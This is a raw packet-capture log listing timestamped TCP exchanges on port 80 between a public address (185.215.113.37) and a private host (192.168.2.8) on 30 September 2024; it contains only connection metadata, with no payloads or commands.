Sep 30, 2024 12:33:20.118557930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118558884 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118566990 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118568897 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118581057 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118591070 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118592978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118613005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118622065 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118623972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118637085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118648052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118657112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118664980 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118664980 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118686914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118690968 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118697882 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118709087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118725061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118736982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118755102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118762970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118773937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118786097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118794918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118799925 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118827105 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118839025 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118850946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118861914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.118885994 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118894100 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.118997097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119016886 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119026899 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119034052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119060993 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119082928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119107962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119127035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119137049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119148970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119158030 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119193077 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119194984 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119203091 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119229078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119247913 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119270086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119282007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119318008 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119354963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119365931 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119369984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119376898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119381905 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119398117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119406939 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119410038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119422913 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119442940 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119462013 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119498014 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119630098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119674921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119697094 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119863033 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119863987 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119924068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119926929 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119939089 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119966030 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.119978905 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119991064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.119992971 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.120003939 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120014906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120016098 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.120028973 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.120043039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.120055914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.120066881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120076895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120083094 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120197058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120206118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120213032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120217085 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.120228052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120239019 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120249033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120251894 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.120264053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120270014 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.120275974 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.120282888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.120311022 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.241466999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.241480112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.241489887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.241527081 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.241548061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242464066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242475033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242485046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242502928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242513895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242532015 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242543936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242553949 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242674112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242724895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242724895 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242734909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242747068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242770910 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242782116 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242805958 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242816925 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242826939 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242851019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242861986 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242872953 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242876053 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242883921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242894888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242903948 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242911100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242922068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.242930889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.242963076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243015051 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243052006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243056059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243067980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243103981 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243119001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243119001 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243130922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243140936 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243158102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243165970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243170977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243180990 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243185997 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243213892 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243227005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243237972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243247986 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243274927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243284941 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243335009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243345976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243355989 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243366003 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243376017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243380070 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243400097 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243410110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243427992 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243448973 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243515015 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243525982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243535995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243546963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243561029 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243565083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243573904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243582964 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243583918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243597984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243604898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243607998 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243623972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243628025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243635893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243643045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243645906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243655920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243666887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243669987 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243683100 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243709087 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243737936 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243750095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243761063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243771076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243776083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243788958 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243810892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243817091 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243822098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243840933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243846893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243850946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243861914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243865013 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243875027 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243880987 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.243896961 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.243921995 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244164944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244247913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244252920 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244259119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244271040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244282007 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244294882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244301081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244313002 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244313002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244327068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244338036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244339943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244345903 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244349003 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244360924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244365931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244371891 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244384050 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244386911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244407892 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244419098 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244427919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244438887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244450092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244472980 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244503021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244503975 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244513988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244524002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244545937 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244553089 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244563103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244569063 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244574070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.244594097 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.244617939 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.365762949 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.365776062 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.365786076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.365834951 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.365858078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.366323948 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.366369963 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.366379976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.366389990 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.366400957 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.366410971 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.366425991 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.366455078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367058992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367106915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367113113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367124081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367136955 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367147923 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367166042 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367192030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367194891 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367203951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367229939 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367249966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367254019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367260933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367283106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367286921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367294073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367305040 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367305040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367315054 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367322922 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367336035 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367342949 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367353916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367353916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367364883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367376089 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367408991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367410898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367410898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367419958 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367432117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367446899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367461920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367470980 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367474079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367501020 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367526054 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367573977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367583990 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367619991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367629051 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367630005 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367645025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367662907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367748022 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367760897 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367772102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367796898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367806911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367827892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367839098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367847919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367868900 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367892981 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367916107 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367928028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367938995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367949963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367961884 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367973089 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.367981911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367993116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.367993116 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368007898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368016958 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368030071 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368031979 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368041992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368052959 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368053913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368062019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368065119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368081093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368081093 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368092060 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368109941 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368129015 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368139982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368149996 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368165970 CEST	49705	80	192.168.2.8	185.215.113.37
